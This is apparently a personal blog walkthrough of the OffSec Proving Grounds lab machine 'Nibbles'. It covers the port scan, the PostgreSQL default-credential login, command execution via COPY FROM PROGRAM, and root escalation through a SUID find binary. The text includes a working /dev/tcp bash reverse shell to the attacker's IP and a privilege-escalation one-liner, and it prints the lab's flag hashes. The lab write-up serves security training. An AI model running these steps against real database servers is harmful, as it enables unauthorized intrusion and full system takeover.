Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - NIBBLES

·1674 words·8 mins·
OFFSEC PG PRACTICE POSTGRES
 Author
Table of Contents

Summary
#

There is a PostgreSQL port open and we’re able to login with default credentials.Using a authenticated arbitrary command execution on PostgreSQL from 9.3 forward, we can execute a reverse shell and get initial access. On the find binary is the SUID bit set which makes it possible to escalate to root.

Specifications
#

  • Name: NIBBLES
  • Platform: PG PRACTICE
  • Points: 20
  • Difficulty: Intermediate
  • OS: Linux nibbles 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64 GNU/Linux
  • IP address:
  • OFFSEC provided credentials: None
  • HASH: local.txt:e3ec88592a4f7eed030f63846d4b8a43
  • HASH: proof.txt:aa42a3f1ee3524f0bf20d8d3bed6b4df

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir nibbles && cd nibbles && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x 7 kali kali 4096 Jul 19 11:41 .
drwxrwxr-x 8 kali kali 4096 Jul 19 11:41 ..
drwxrwxr-x 2 kali kali 4096 Jul 19 11:41 enum
drwxrwxr-x 2 kali kali 4096 Jul 19 11:41 exploits
drwxrwxr-x 2 kali kali 4096 Jul 19 11:41 files
drwxrwxr-x 2 kali kali 4096 Jul 19 11:41 tools
drwxrwxr-x 2 kali kali 4096 Jul 19 11:41 uploads

## set bash variable
ip=192.168.151.47

## ping target to check if it's online
ping $ip
                
PING 192.168.151.47 (192.168.151.47) 56(84) bytes of data.
64 bytes from 192.168.151.47: icmp_seq=1 ttl=61 time=17.1 ms
64 bytes from 192.168.151.47: icmp_seq=2 ttl=61 time=17.4 ms
^C
--- 192.168.151.47 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 17.079/17.242/17.405/0.163 ms

Reconnaissance
#

Portscanning
#

Using the Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Port scanning: Because every port has a story to tell.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.151.47:21
Open 192.168.151.47:22
Open 192.168.151.47:80
Open 192.168.151.47:5437
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-19 11:46 CEST
Initiating Ping Scan at 11:46
Scanning 192.168.151.47 [4 ports]
Completed Ping Scan at 11:46, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:46
Completed Parallel DNS resolution of 1 host. at 11:46, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 11:46
Scanning 192.168.151.47 [4 ports]
Discovered open port 80/tcp on 192.168.151.47
Discovered open port 21/tcp on 192.168.151.47
Discovered open port 22/tcp on 192.168.151.47
Discovered open port 5437/tcp on 192.168.151.47
Completed SYN Stealth Scan at 11:46, 0.06s elapsed (4 total ports)
Nmap scan report for 192.168.151.47
Host is up, received echo-reply ttl 61 (0.017s latency).
Scanned at 2025-07-19 11:46:44 CEST for 0s

PORT     STATE SERVICE    REASON
21/tcp   open  ftp        syn-ack ttl 61
22/tcp   open  ssh        syn-ack ttl 61
80/tcp   open  http       syn-ack ttl 61
5437/tcp open  pmip6-data syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds
           Raw packets sent: 8 (328B) | Rcvd: 5 (204B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
21/tcp   open  ftp        syn-ack ttl 61
22/tcp   open  ssh        syn-ack ttl 61
80/tcp   open  http       syn-ack ttl 61
5437/tcp open  pmip6-data syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## change directory
cd files  

## get a list, comma separated of the open port(s)
cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports

## output previous command
21,22,80,5437

## move one up
cd ..

## use this output in the `nmap` command below:
sudo nmap -T3 -p 21,22,80,5437 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT     STATE SERVICE    REASON         VERSION
21/tcp   open  ftp        syn-ack ttl 61 vsftpd 3.0.3
22/tcp   open  ssh        syn-ack ttl 61 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 10:62:1f:f5:22:de:29:d4:24:96:a7:66:c3:64:b7:10 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJgyzpWrB8SyLb/XmPYQYzsnfizW7d0aNZHpwQ9ivcHQ/RYLbCc8yUIQGN2JMqCgfSj8CRMA36UnV8jnngjkw9njcgMyA5qc1mO4tzzH7VNkW2t5AmP7Q1HBt+SThlLa0JxBN6Gd5BOPwrsk9YTjLj8ax2ncvGBq8jzQjYmm9jF4VgBak5DY+Q5JWdf9krumSlR+V8yneV9aQ6sVy2XgkCJQLQ8GoUTm/13XUTc3TCKQ2KOJ2FzA8VcNTfxqTDxalwnYrZ1tod7BRfMeff5MwxC5gzeB+hdOVC0zAZlvNtMxH6SCxMBRCoX9IHL27E6WtSGXCj1SLYJWrFImjp+I1L
|   256 c9:15:ff:cd:f3:97:ec:39:13:16:48:38:c5:58:d7:5f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM7uIYLogPsKP+c0QrezqQfB94ml7djfUOtG8ZAoMX6yK898l0TbgyAShcQSmdOsSMGdSO4GZpixCFJdsYkBi0M=
|   256 90:7c:a3:44:73:b4:b4:4c:e3:9c:71:d1:87:ba:ca:7b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKoHnGdMtb37ORTRBt2cTfWvQE7IB3fF3ewP/1tqn0JF
80/tcp   open  http       syn-ack ttl 61 Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Enter a title, displayed at the top of the window.
5437/tcp open  postgresql syn-ack ttl 61 PostgreSQL DB 11.3 - 11.9
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Issuer: commonName=debian
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-04-27T15:41:47
| Not valid after:  2030-04-25T15:41:47
| MD5:   b086:6d30:4913:684e:16c1:8348:fc76:fe43
| SHA-1: cb30:5109:0fc1:14ab:0fb9:8e55:5874:4bb5:ba57:66af
| -----BEGIN CERTIFICATE-----
| MIIC0DCCAbigAwIBAgIUYoM4kALX3eWKWuCQ1/K5FujVbGowDQYJKoZIhvcNAQEL
| BQAwETEPMA0GA1UEAwwGZGViaWFuMB4XDTIwMDQyNzE1NDE0N1oXDTMwMDQyNTE1
| NDE0N1owETEPMA0GA1UEAwwGZGViaWFuMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
| MIIBCgKCAQEAkpSVo7cfTt1CRy7yDV5Nr2dOJxIyg3JdaE+Mdtsw7/cbPaucXy/L
| fYOoyUsSINbZtIV6/WEpFVD+fIWwPoPWsgazcnNF0Z1quuxOjXnmZICvVqku5vHk
| Q+facbUNjGpz9OMC4s0y/T7uHH6psPoBBgL5ZVTNvU6tK/CnvjtPpMgQ+bOkIqsM
| mMxQnUILBBfUdaVfgetlPCc1qg4+fq0ZCP/d0vjIlb6kA3AuprjFo2xpLwtbx0RM
| BXkmm+STQRTxYnY62MRiL52tzACWfI7lml8LnUFP98tpPzT/0UCBx8cLLNrGlhQP
| ZZb7sALAS8hjpOcIjvRT+ZfXKHHma5RvGQIDAQABoyAwHjAJBgNVHRMEAjAAMBEG
| A1UdEQQKMAiCBmRlYmlhbjANBgkqhkiG9w0BAQsFAAOCAQEAJ1f62YGJW8Ds0e31
| s6hlCQX0kpn5+UXbTMMkjkBWp54aPg6YjUbg4py/E+gJtDWDv/Z8bT+ggiHdIQLf
| +99KE7ShNlnn+hiI4MYjza5rl2W00taN0PiYcKpz898aQ/4Kmho5wkYz+s1bi87O
| 5/IphYJXZYLOLf3CzuWzCT5RUBKZO/BVX79kqJvOLH2xJOkRwA9mgNh5QY0CBzCk
| NVOoDL+Yhof2sZs/UetiW//U8Mtiz22rQWmU4l/tU/X8rUAJQYOCmohGCXnU3aN2
| 6VSDkryCvRWChxwJtqXdKEMZ03E/zr35LhqLWmQmRSEjeVw10HN3g6Y1NpAKV1+g
| rFaQxA==
|_-----END CERTIFICATE-----
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

5437/tcp open  postgresql syn-ack ttl 61 PostgreSQL DB 11.3 - 11.9
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Issuer: commonName=debian
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-04-27T15:41:47
| Not valid after:  2030-04-25T15:41:47
| MD5:   b086:6d30:4913:684e:16c1:8348:fc76:fe43
| SHA-1: cb30:5109:0fc1:14ab:0fb9:8e55:5874:4bb5:ba57:66af
| -----BEGIN CERTIFICATE-----
| MIIC0DCCAbigAwIBAgIUYoM4kALX3eWKWuCQ1/K5FujVbGowDQYJKoZIhvcNAQEL
| BQAwETEPMA0GA1UEAwwGZGViaWFuMB4XDTIwMDQyNzE1NDE0N1oXDTMwMDQyNTE1
| NDE0N1owETEPMA0GA1UEAwwGZGViaWFuMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
| MIIBCgKCAQEAkpSVo7cfTt1CRy7yDV5Nr2dOJxIyg3JdaE+Mdtsw7/cbPaucXy/L
| fYOoyUsSINbZtIV6/WEpFVD+fIWwPoPWsgazcnNF0Z1quuxOjXnmZICvVqku5vHk
| Q+facbUNjGpz9OMC4s0y/T7uHH6psPoBBgL5ZVTNvU6tK/CnvjtPpMgQ+bOkIqsM
| mMxQnUILBBfUdaVfgetlPCc1qg4+fq0ZCP/d0vjIlb6kA3AuprjFo2xpLwtbx0RM
| BXkmm+STQRTxYnY62MRiL52tzACWfI7lml8LnUFP98tpPzT/0UCBx8cLLNrGlhQP
| ZZb7sALAS8hjpOcIjvRT+ZfXKHHma5RvGQIDAQABoyAwHjAJBgNVHRMEAjAAMBEG
| A1UdEQQKMAiCBmRlYmlhbjANBgkqhkiG9w0BAQsFAAOCAQEAJ1f62YGJW8Ds0e31
| s6hlCQX0kpn5+UXbTMMkjkBWp54aPg6YjUbg4py/E+gJtDWDv/Z8bT+ggiHdIQLf
| +99KE7ShNlnn+hiI4MYjza5rl2W00taN0PiYcKpz898aQ/4Kmho5wkYz+s1bi87O
| 5/IphYJXZYLOLf3CzuWzCT5RUBKZO/BVX79kqJvOLH2xJOkRwA9mgNh5QY0CBzCk
| NVOoDL+Yhof2sZs/UetiW//U8Mtiz22rQWmU4l/tU/X8rUAJQYOCmohGCXnU3aN2
| 6VSDkryCvRWChxwJtqXdKEMZ03E/zr35LhqLWmQmRSEjeVw10HN3g6Y1NpAKV1+g
| rFaQxA==
|_-----END CERTIFICATE-----

There is a PostgreSQL open on port 5437. We can try to connect to this database using default credentials postgres:postgres from: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt.

## connect to postgresql using default credentials: `postgres:postgres`
psql -U postgres -h $ip -p 5437
Password for user postgres: 

psql (17.5 (Debian 17.5-1), server 11.7 (Debian 11.7-0+deb10u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off, ALPN: none)
Type "help" for help.

postgres=# 

We’re connected. When we search for an exploit we can find this one, CVE-2019-9193: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/authenticated-arbitrary-command-execution-on-postgresql-9-3/?source=post_page-----93e2d2920dd---------------------------------------. This article explains how we can get RCE on the target through PostgreSQL. First we need to drop and create a table / placeholder and then run a terminal command using the FROM PROGRAM function.

## drop the table you want to use if it already exists
DROP TABLE IF EXISTS cmd_exec;

## create the table you want to hold the command output
CREATE TABLE cmd_exec(cmd_output text);

## run the system command via the COPY FROM PROGRAM function
COPY cmd_exec FROM PROGRAM 'id';

## view the results
SELECT * FROM cmd_exec;

                               cmd_output                               
------------------------------------------------------------------------
 uid=106(postgres) gid=113(postgres) groups=113(postgres),112(ssl-cert)
(1 row)

## remove table
DROP TABLE IF EXISTS cmd_exec;

So we can execute commands (in the previous example id) on the target. To get a reverse shell we first need to start a listener and run a bash reverse shell command on the target in PostgreSQL.

## get local IP address on tun0
ip a

<SNIP>
4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.195/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::8691:316d:7cbd:4146/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever


## setup listener
nc -lvnp 80

## run the PostgreSQL commands
## drop the table you want to use if it already exists
DROP TABLE IF EXISTS cmd_exec;

## create the table you want to hold the command output
CREATE TABLE cmd_exec(cmd_output text);

## run bash reverse shell command
COPY cmd_exec FROM PROGRAM '/usr/bin/bash -c "/usr/bin/bash -i >& /dev/tcp/192.168.45.195/80 0>&1"';

## on local host we get a reverse shell on the target
nc -lvnp 80  
listening on [any] 80 ...
connect to [192.168.45.195] from (UNKNOWN) [192.168.151.47] 59938
bash: cannot set terminal process group (1806): Inappropriate ioctl for device
bash: no job control in this shell
postgres@nibbles:/var/lib/postgresql/11/main$ whoami
whoami
postgres

We get initial access as the postgres user. This user also has access rights to the wilson user and we are able to print the local.txt.

## change directory to the root directory of the `wilson` user
postgres@nibbles:/var/lib/postgresql/11/main$ cd /home/wilson

## print `local.txt`
postgres@nibbles:/home/wilson$ cat local.txt
e3ec88592a4f7eed030f63846d4b8a43

Privilege Escalation
#

First we download linpeas locally, upload it to the target and run it.

## change directory
cd uploads

## download `linpeas.sh`
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## start a local webserver
python3 -m http.server 80

## on target, download `linpeas.sh`
wget http://192.168.45.195/linpeas.sh

--2025-07-19 10:45:44--  http://192.168.45.195/linpeas.sh
Connecting to 192.168.45.195:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: ‘linpeas.sh’
<SNIP>
2025-07-19 10:45:44 (4.35 MB/s) - ‘linpeas.sh’ saved [956174/956174]

## change the execution bit
postgres@nibbles:/var/tmp$ chmod +x linpeas.sh

## run `linpeas.sh`
postgres@nibbles:/var/tmp$ ./linpeas.sh

Within the linpeas output we can see that the /usr/bin/find binary has the SUID bit set. We can also verify this.

## verify if the SUID bit is set
postgres@nibbles:/var/tmp$ find / -perm /4000 -ls 2>/dev/null | grep find
find / -perm /4000 -ls 2>/dev/null | grep find
     2248    312 -rwsr-xr-x   1 root     root         315904 Feb 16  2019 /usr/bin/find

On GTFOBins (https://gtfobins.github.io/gtfobins/find/#suid) we can see how to exploit this setting. When we run the /usr/bin/find command with the following we get root access: . -exec /bin/sh -p \; -quit.

## run `find` command with SUID bit set to get root access
postgres@nibbles:/var/tmp$ /usr/bin/find . -exec /bin/sh -p \; -quit       

whoami
root
cat /root/proof.txt
aa42a3f1ee3524f0bf20d8d3bed6b4df

References
#

[+] https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/authenticated-arbitrary-command-execution-on-postgresql-9-3/?source=post_page-----93e2d2920dd---------------------------------------

Related

OFFSEC - Proving Grounds - LEVRAM
·1977 words·10 mins
OSCP OFFSEC PG PRACTICE GERAPY
Port 8000 redirects to GERAPY v0.9.7 login. Use default credentials for access. Auth RCE grants initial access. /usr/bin/python3.10 with cap_setuid=ep gives root.
OFFSEC - Proving Grounds - EXFILTRATED
·2597 words·13 mins
OSCP OFFSEC PG PRACTICE SUBRION CMS PWNKIT EXIFTOOL
SSH or Subrion CMS 4.2.1 file upload for access. Run linpeas to find CVE-2021-4034 (PwnKit) & cronjob with exiftool (CVE-2021-22204) for root.
OFFSEC - Proving Grounds - COCKPIT
·1373 words·7 mins
OSCP OFFSEC PG PRACTICE TAR GOBUSTER
SQL inject login to get admin & additional creds. Use credentials in Ubuntu Web Console. Exploit sudo tar wildcard to escalate to root.
OFFSEC - Proving Grounds - PELICAN
·2071 words·10 mins
OSCP OFFSEC PG PRACTICE GCORE
Exploitable Exhibitor for ZooKeeper on port 8080. Initial access user has gcore sudo privileges, can dump password-store process to reveal root credentials.
OFFSEC - Proving Grounds - ZINO
·2525 words·12 mins
OFFSEC PG PRACTICE NXC SMB SMBCLIENT
Access server with SMB file and use a Python exploit for PHP webshell in Booked Scheduler. Escalate to root via cronjob.